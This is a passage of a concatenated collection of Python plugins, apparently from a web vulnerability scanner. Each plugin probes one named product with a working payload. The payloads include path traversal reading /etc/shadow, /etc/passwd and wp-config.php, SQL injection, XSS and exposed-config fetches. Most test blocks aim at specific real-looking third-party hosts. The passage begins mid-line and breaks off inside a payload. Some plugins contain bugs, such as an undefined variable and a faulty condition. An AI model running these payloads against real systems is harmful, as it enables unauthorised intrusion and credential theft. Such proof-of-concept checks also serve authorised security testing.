'http://183.63.91.226:8888/')[1]) -------------------------------------------------------------------------------- /plugins/wizbank/1819.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | def assign(service, arg): 5 | if service == "wizbank": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg + "cw/skin1/jsp/download.jsp?file=/WEB-INF/web.xml" 10 | code,head,res,errorcode,_url = curl.curl2(url) 11 | if code==200 and 'log4jConfigLocation' in res : 12 | security_hole(url) 13 | 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('wizbank', 'http://60.247.86.31/')[1]) 18 | audit(assign('wizbank', 'http://demo.cyberwisdom.net.cn/')[1]) -------------------------------------------------------------------------------- /plugins/avcon6/593.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__Author__ = rabit2013 4 | #_PlugName_ = avcon6 upload file 5 | 6 | def assign(service, arg): 7 | if service == "avcon6": 8 | return True, arg 9 | 10 | def audit(arg): 11 | payload='/download.action?filename=../../../../../../etc/shadow' 12 | url = arg+payload 13 | code, head, res, errcode, _ = curl.curl(url) 14 | if code == 200 and 'root' in res: 15 | security_info(url) 16 | 17 | if __name__ == '__main__': 18 | from dummy import * 19 | audit(assign('avcon6', 'http://221.208.241.167:8080/')[1]) -------------------------------------------------------------------------------- /plugins/feifeicms/432.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 –*- 3 | #refer http://www.wooyun.org/bugs/wooyun-2010-060233 4 | from re import * 5 | def assign(service,arg): 6 | if service == "feifeicms": 7 | return True,arg 8 | def audit(arg): 9 | url = arg + 'index.php?s=hits-show&sid=md5(1)%23&type=md5(1)' 10 | 11 | code, head, res, errcode, _ = curl.curl(url) 12 | if code==200 and 'c4ca4238a0b923820dcc509a6f75849b' in res: 13 | security_hole(url) 14 | if __name__ == '__main__': 15 | from dummy import * 16 | audit(assign('feifeicms','http://www.mnz123.com/')[1]) -------------------------------------------------------------------------------- /plugins/strongsoft/1875.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -* 3 | # refer: http://www.wooyun.org/bugs/wooyun-2010-063623 4 | # 福建四创灾害预警系统配置信息泄露以及弱口令获取 strong/strong 5 | 6 | def assign(service, arg): 7 | if service == 'strongsoft': 8 | return True, arg 9 | 10 | def audit(arg): 11 | vul_url = arg + "config/DataSetConfig%23.xml" 12 | code,_,res,_,_ = curl.curl(vul_url) 13 | if 'User ID' and 'password' in res: 14 | security_hole(vul_url) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('strongsoft','http://183.129.136.54:3050/')[1]) -------------------------------------------------------------------------------- /plugins/thinkphp/1832.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | import re 4 | 5 | def assign(service, arg): 6 | if service == "thinkphp": 7 | return True, arg 8 | 9 | def audit(arg): 10 | poc = arg + 'index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+' 11 | code, head, res, errcode, _ = curl.curl(poc) 12 | if code == 200 and 'e165421110ba03099a1c0393373c5b43' in res: 13 | security_hole(poc +" Can be inject!") 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('thinkphp', 'http://www.binkanter.com/')[1]) -------------------------------------------------------------------------------- /plugins/seentech_uccenter/1846.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #refer:http://www.wooyun.org/bugs/wooyun-2010-0123369 4 | 5 | def assign(service, arg): 6 | if service == 'seentech_uccenter': 7 | return True, arg 8 | 9 | def audit(arg): 10 | payload = "ucenter/include/globalvar_center.h" 11 | code,_,res,_,_ = curl.curl2(arg+payload) 12 | if code==200 and '$gMysql_host_name' in res : 13 | security_warning(arg+payload) 14 | 15 | if __name__ == '__main__': 16 | from dummy import * 17 | audit(assign('seentech_uccenter', 'https://60.223.226.154/')[1]) -------------------------------------------------------------------------------- /plugins/zhengfang/234.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import re 3 | import urlparse 4 | 5 | def assign(service, arg): 6 | if service != "zhengfang": 7 | return 8 | return True, arg 9 | 10 | def audit(arg): 11 | url = arg 12 | code, head, res, errcode, _ = curl.curl(url + 'ftb.imagegallery.aspx') 13 | if code == 200: 14 | m = re.search('not found in ([^<]+) on line (\d+)', res) 15 | if m: 16 | security_info(m.group(1)) 17 | 18 | 19 | if __name__ == '__main__': 20 | from dummy import * 21 | audit(assign('zhengfang', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/avcon6/594.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__Author__ = rabit2013 4 | #_PlugName_ = avcon6 upload file 5 | 6 | 7 | def assign(service, arg): 8 | if service == "avcon6": 9 | return True, arg 10 | 11 | 12 | def audit(arg): 13 | payload = "AvconWebService/fingerprint.jsp" 14 | url = arg + payload 15 | code, head, res, errcode, _ = curl.curl(url) 16 | if code == 200 and "System Fingerprint" in res: 17 | security_info(url) 18 | 19 | if __name__ == '__main__': 20 | from dummy import * 21 | audit(assign('avcon6', 'http://avol.nbtvu.net.cn:8080/')[1]) -------------------------------------------------------------------------------- /plugins/discuz/141.py: -------------------------------------------------------------------------------- 1 | #Referer:http://www.wooyun.org/bugs/wooyun-2014-084097 2 | def assign(service, arg): 3 | if service == "discuz": 4 | return True, arg 5 | 6 | def audit(args): 7 | payload = "/admincp.php?infloat=yes&handlekey=123);alert(/testvul/);//" 8 | verify_url = args + payload 9 | code, head, content, errcode,finalurl = curl.curl(verify_url) 10 | if code==200 and "if($('return_123);alert(/testvul/);//'" in content: 11 | security_info(verify_url) 12 | 13 | if __name__ == '__main__': 14 | from dummy import * 15 | audit(assign('discuz', 'http://www.misssky.cn/')[1]) 16 | -------------------------------------------------------------------------------- /plugins/www/1233.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Can import any built-in Python Library 3 | import urlparse 4 | def assign(service, arg): 5 | if service != "www": 6 | return 7 | arr = urlparse.urlparse(arg) 8 | return True, '%s://%s/inc/conn_db.inc' % (arr.scheme, arr.netloc) 9 | 10 | def audit(arg): 11 | code, head, res, errcode, final_url = curl.curl(arg) 12 | if code == 200 and 'db_id' in res and 'db_name' in res and 'db_pass' in res: 13 | security_warning(arg) 14 | 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('www', 'http://61.77.63.86/')[1]) -------------------------------------------------------------------------------- /plugins/qizhitong_manager/1616.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | def assign(service, arg): 5 | if service == 'qizhitong_manager': 6 | return True, arg 7 | 8 | def audit(arg): 9 | payload = "test/downTcpdumpFile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" 10 | url = arg + payload 11 | code, head, body, errcode, _url = curl.curl2(url) 12 | if code == 200 and 'root' in body and '/bin/bash' in body: 13 | security_warning('Arbitrary file download:'+url) 14 | 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('qizhitong_manager', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/shopbuilder/562.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #from:http://www.wooyun.org/bugs/wooyun-2014-066933 4 | 5 | def assign(service,arg): 6 | if service == "shopbuilder": 7 | return True, arg 8 | 9 | def audit(arg): 10 | payload ="/footer.php?m=../bbccgg.txt%23" 11 | url = arg + payload 12 | code, head, res, errcode,finalurl = curl.curl('"%s"' % url) 13 | if code == 200 and 'No such file or directory' in res: 14 | security_hole(url) 15 | 16 | if __name__ == "__main__": 17 | from dummy import * 18 | audit(assign('shopbuilder', 'http://www.zgzyjczs.com/')[1]) -------------------------------------------------------------------------------- /plugins/wordpress/205.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- encoding:utf-8 -*- 3 | #__author__ = '0x3D' 4 | 5 | def assign(service, arg): 6 | if service == 'wordpress': 7 | return True, arg 8 | 9 | def audit(arg): 10 | url = arg 11 | payload = '/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php?path=../../../../../wp-config.php' 12 | addr = arg + payload 13 | _, _, res, _, _ = curl.curl(addr) 14 | if 'DB_PASSWORD' in res: 15 | security_hole(verify_url) 16 | 17 | if __name__ == '__main__': 18 | from dummy import * 19 | audit(assign('wordpress', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/yongyou_fe/1910.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/python 2 | #-*- coding: utf-8 -*- 3 | 4 | def assign(service, arg): 5 | if service == "yongyou_fe": 6 | return True, arg 7 | 8 | def audit(arg): 9 | url = arg + "sys/treeXml.jsp?Si06=1%27+UNION+ALL+SELECT+1,21312313231231-23123121,1,1,1,1,1,1,1,1,1,1,1,1--&type=sort" 10 | code, head, body, errcode, _url = curl.curl2(url) 11 | if code == 200 and '21312290108110' in body: 12 | security_hole(url) 13 | 14 | 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('yongyou_fe', 'http://fe.hy-la.com:8088/')[1]) -------------------------------------------------------------------------------- /plugins/extmail/1161.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__author__ = 'ifk' 4 | #Refer http://www.wooyun.org/bugs/wooyun-2012-04854 5 | 6 | def assign(service, arg): 7 | if service == "extmail": 8 | return True, arg 9 | 10 | def audit(arg): 11 | payload = 'extmail/cgi/env.cgi' 12 | code, head, res, errcode, _ = curl.curl2(arg+payload) 13 | if code == 200 and 'SERVER_ADMIN' in res: 14 | security_info(arg+payload) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('extmail', 'http://mail.ca.suzhou.gov.cn/')[1]) 19 | 20 | -------------------------------------------------------------------------------- /plugins/eyou/236.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | """ 4 | POC Name : eYou v4 /php/report/include/config.inc 信息泄露漏洞 5 | Author : sqzr 6 | """ 7 | 8 | def assign(service, arg): 9 | if service == "eyou": 10 | return True, arg 11 | 12 | def audit(arg): 13 | url = arg 14 | code, head, res, errcode, _ = curl.curl(url + 'php/report/include/config.inc') 15 | if code == 200 and 'MYSQL_USER' in res: 16 | security_info(url + 'php/report/include/config.inc)') 17 | 18 | if __name__ == '__main__': 19 | from dummy import * 20 | audit(assign('eyou', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/ns-asg/346.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | #__author__ = 'angel' 4 | #refer :http://wooyun.org/bugs/wooyun-2014-058908 5 | 6 | def assign(service, arg): 7 | if service == "ns-asg": 8 | return True, arg 9 | 10 | def audit(arg): 11 | url = arg + "debug/show_logfile.php?filename=/etc/shadow" 12 | code, head, res, errcode,finalurl = curl.curl(url) 13 | if res.find('root:$1$') != -1 : 14 | security_hole('Local File download vulnerability:' + url) 15 | 16 | if __name__ == '__main__': 17 | from dummy import * 18 | audit(assign('ns-asg', 'http://www.example.com/')[1]) -------------------------------------------------------------------------------- /plugins/qibocms/317.py: -------------------------------------------------------------------------------- 1 | # !usr/bin/dev python 2 | # encoding = utf-8 3 | 4 | import re 5 | 6 | 7 | def assign(service, arg): 8 | if service == 'qibocms': 9 | return True, arg 10 | pass 11 | 12 | 13 | def audit(arg): 14 | payload = "search.php?module_db[]=

xss-vulnerable